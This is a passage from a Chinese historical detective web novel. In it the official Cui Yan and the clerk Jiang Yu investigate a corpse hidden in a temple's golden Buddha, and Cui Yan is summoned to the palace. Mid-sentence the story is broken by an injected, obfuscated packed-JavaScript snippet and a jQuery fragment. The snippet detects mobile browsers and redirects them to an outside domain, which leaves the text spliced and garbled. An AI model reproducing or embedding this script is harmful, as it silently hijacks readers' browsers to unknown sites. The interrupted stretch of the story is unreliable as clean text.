崔衍瞬间变脸,温和的微微一笑,冲姜渝点头,仿佛岁月静好。
姜渝:?
总感觉哪里不对,又说不上来。
不过她也没有过多关心这个,而是让开身位让陆谦怀验尸。
收起本子,她向崔衍走去,对崔衍说:“他死了太久了,我有些看不出来他的样貌。”
这很正常,崔衍瞥了一眼尸体,心想这就算是他亲娘来了也认不出,于是安慰姜渝:“莫灰心,虽看不出容貌,但我们调取京城近月失踪人口名录,据身高体型逐一排查,总能找到他是谁。”
姜渝点点头,可眉头微蹙,显然还有心事。
不久,陆谦怀结束事务,他立即去找地方洗手,似乎极为爱洁。
回来后,他冷淡的开口。
“死者,男,二十五岁上下,身高五尺七寸,体型偏瘦,死亡时间大概是二十多天前,天气较冷,一定程度上抑制了腐败,所以没有失去形态。”
“其颈部及遍身有刀伤痕迹,但这或许不是他的真正死因。”
姜渝好奇了,问:“怎么说?”
陆谦怀看着她的眼睛道:“今日仅为略微视察,等尸骨运回官署,我当详加查验。”
“嗯。”姜渝点头,于是不再管他,走到崔衍面前。
“少卿,刚才慧能师父的话,我都听见了。这把尸体藏于金佛之人,竟比寺庙师父更了解此处。”
崔衍闻言,反应过来。
“你是说……当年寺庙的修建者?”
姜渝点头,一双浅淡的眼眸里闪过锐利的光。
“在尚未清楚死者身份之时,这将是一个入手点。”
她说完,问道:“大人可有从名单发现端倪?”
崔衍将手中名录一并递给姜渝,眉头紧蹙,遥遥头。
“那几日与平日似乎并无不同。”
姜渝接过名单,目光上下一扫就开始翻页,一页页看过去,纸页发出频繁翻动的声响。她看的时间太短了,直让人怀疑究竟有没有在用心。但是她的表情并不随意,反而透着一种极端的严谨,又让人不好怀疑。
片刻,姜渝抬眼,将名录合上,停了半刻,似乎在整理思路,然后缓缓开口。
“上个月,也就是十一月十三到十七是死者大概的死亡时间,所以尸体不可能在这天之前运进来,于是可以看十日之后的名录,基本就在这个范围。”
“我看了这年的记录,发现有些人每月都会来景乐寺,他们的时间通常固定,但是这个月,有几个人来的时间有偏差。”
崔衍几乎目瞪口呆,他缓缓说出一个:“啊?”什么?这厚厚一叠,不到两盏茶的时间就看完,而且记住啦?
姜渝眼神平静,她的声音一向柔和而轻缓,此时她的神思似乎已经微微飘远,自顾自的分析起来:“这位杨夫人一向每月初一十五过来祈福,上月十五正是十一月十七,她没来。”
“这位樊小姐早了两日……”
“戴公子……”
……
“楚小姐晚了三日,还在几天后半晚又来了一次。”
姜渝自顾自背完,终于回神,抬眼对崔衍说:“大人,一一排查这些人,可能会有所收获……不过,这只是我的推测,也可能方向是错的。”
崔衍看起来笑眯眯的,他镇定自若的回头问陆白:“小白,都记下来了吗?”
陆白呆滞的点点头,手中的毛笔写的干涸,本子上密密麻麻是人名。
“一共三十人,都记下了。”他回答。
“那快去办吧。”崔衍挥挥手,笑着看陆白远去,这才转过身来,对姜渝说:“我觉得你的推测很好。”
姜渝想起人际关系的维护,脸上微微带上笑意:“多谢大人认可。”然后就自顾自的找了个位置坐下,认真写写画画,尤为专注。
陆谦怀则是跟着运尸体的人回了大理寺。
他走的时候不由多看了两眼姜渝,然后背上木箱随韩仵作出门。
而崔衍去视察寺庙,观察是否有别的痕迹留存。
崔衍一踏出门槛就忍不住深吸一口气。
刚才他表明八风不动,实则内心震惊极了。他实在没想到姜渝竟然聪慧至此,不仅一目十行而且过目不忘,实在是绝世奇才。
这样的璞玉竟然是自己找到的?他实在不可置信。而且他也想不通为什么当初姜渝会任由蒋二狗他们欺辱。
不对?姜渝刚开始是这样子的吗?
崔衍想着想着,想到了这几个月与姜渝的相处。
姜渝非常文静端庄,有时崔衍看着她一举一动,就像看见了一位大家闺秀。而且她脾性极好,不管发生什么,崔衍从来没有看见过她动怒——姜渝就像是一个完美的人……或者说她有时甚至不像一个活生生的人,而是某种美丽却没有任何气息的生物。
人会是这样吗?崔衍有时忽然会有这样的疑惑。
不过……姜渝,她很好。
……
奇怪的是,寺庙干净的出奇,崔衍集结人力集中搜索,竟然都一无所获。
就当他开始向寺庙里的人投去越来越浓重的怀疑目光时。
一道从晦暗的层层深宫中传来的口谕将他暂时从案件中剥离开了。
这天身着官袍,披着轻薄外裘的内侍监大太监邓枢笑眯眯地出现在崔府,刚回家的崔衍一愣,旋即反应过来。
“公公怎么来了,还请里边坐。”
邓枢却抬手阻止了他,对他说:“少卿大人,咱家来为陛下传话,虽然盛情难却,毕竟公务在身,还是长话短说。”
崔衍心中一跳,虽然在他看见邓枢时就已经猜到,但还是不免紧绷。
邓枢是当今陛下最宠信的太监,在何处不是呼风唤雨,但是却对崔衍很客气,甚至亲身到来传话。他五十岁人,长得慈眉善目,如今缓缓开口,还真像一个关心小辈的老人。
“少卿大人,陛下听说了景乐寺的事,希望您明天入宫去说话……”
最后他走的时候,似乎无意的道了一声。
“少卿,你知道的,景乐寺,很特殊。”
送走邓枢,崔衍脸上的笑容渐渐消散,最后冷凝成沉思的模样。
就在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362549|183756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
邓枢走后不久,下人来报有人来访,这是一个崔衍几乎完全没有预料的人——
是姜渝。
崔衍没等下人去将姜渝请进来,自己就跟着走到了大门。
朱红的大门被两个门房齐力推开,崔衍一眼便看见了外面的姜渝。
姜渝在大理寺入职几个月,俸禄远远超过她之前为人写信,但是她依旧生活简朴,并未多添珠钗,也没有买什么衣饰粉黛。
她今天穿了件月白色的新衣,花纹很素雅,款式非常朴素,乌黑的头发一丝不苟的挽起,戴着几只木簪,双耳坠着两颗银珠。
她的眸色依旧浅淡,配上这一身,显得文静娴雅极了,可背上却背着个很大的书笈,站在崔衍家门前的青石板阶上,看见崔衍,她即刻行礼:“见过少卿大人。”
崔衍下意识眉头微蹙,不知道为什么,他不喜欢姜渝这样叫他。但姜渝也没有叫错,他自己到底在在意些什么?
但此时他最好奇的是姜渝为何上门,又为什么背着那些东西。
“免礼。姜姑娘,远道而来,可是有何事?”
姜渝微垂眸,道:“大人,我此前并非专职,此等腐尸,想要辨明身份实有难度,但在其位谋其职,我想要试试一种复原奇术。”
崔衍感到奇怪:“那姑娘打算?”
“大人,小女此来,是向大人辞别。”
“什么?!”崔衍听到“辞别”二字,脑子轰的一声,想都没想惊讶出声。
姜渝随即解释:“不是的大人,不是您想的那样,我是打算向您告假,我要用七天时间好好观察人的相貌,找到复原人物的那几个点……总之,我想要一段时间钻研,这段时间,恐怕不能跟随大人左右。”
崔衍这才冷静下来,他渐渐找回了自己的常态,于是深吸一口气:“既然如此,你就去吧。”
姜渝又是一礼:“多谢大人,民女叩扰,就此告辞。”然后转身离去。
背影显得平和而坚定。
而崔衍靠在门上,看她的背影消失在黄昏里,心里恍惚:刚才不该这么心急,应该等她进来,或许还能与她喝杯茶。之后竟要七天才能再见……
第二天清晨,崔衍理正衣冠,在铜镜里摆出一副严肃镇静模样,然后绕开家中人常常经过的道路,打算乘着马车就悄悄走掉。
但是显然并不幸运,他在经过一条石路时还是听见了上房中小孩刺耳的哭声。
天才微微亮,大多景物都浸泡在黑暗里,包括崔衍的半张面孔。
只见房中的灯被点亮,在残余的夜色中发出暖黄的光。
崔衍的脸上却露出难以掩饰的厌恶与恶心,他将头一转,看都不想看一眼,直接走了。
马车早已安稳的停在街道上,马夫不敢去看主子难看的脸色,只尽职的为崔衍掀开帘子。
崔衍坐在柔软的毛毯上,车帘被放下,也没人看得见他渐渐平静下来的脸色,夹杂着担忧、不定、疑虑、悲怜种种情绪……
这些情绪夹杂在一起,难以分辨也无法割开,最终随着摇摇晃晃的马车一路向着那座威严压抑的宫城驶去。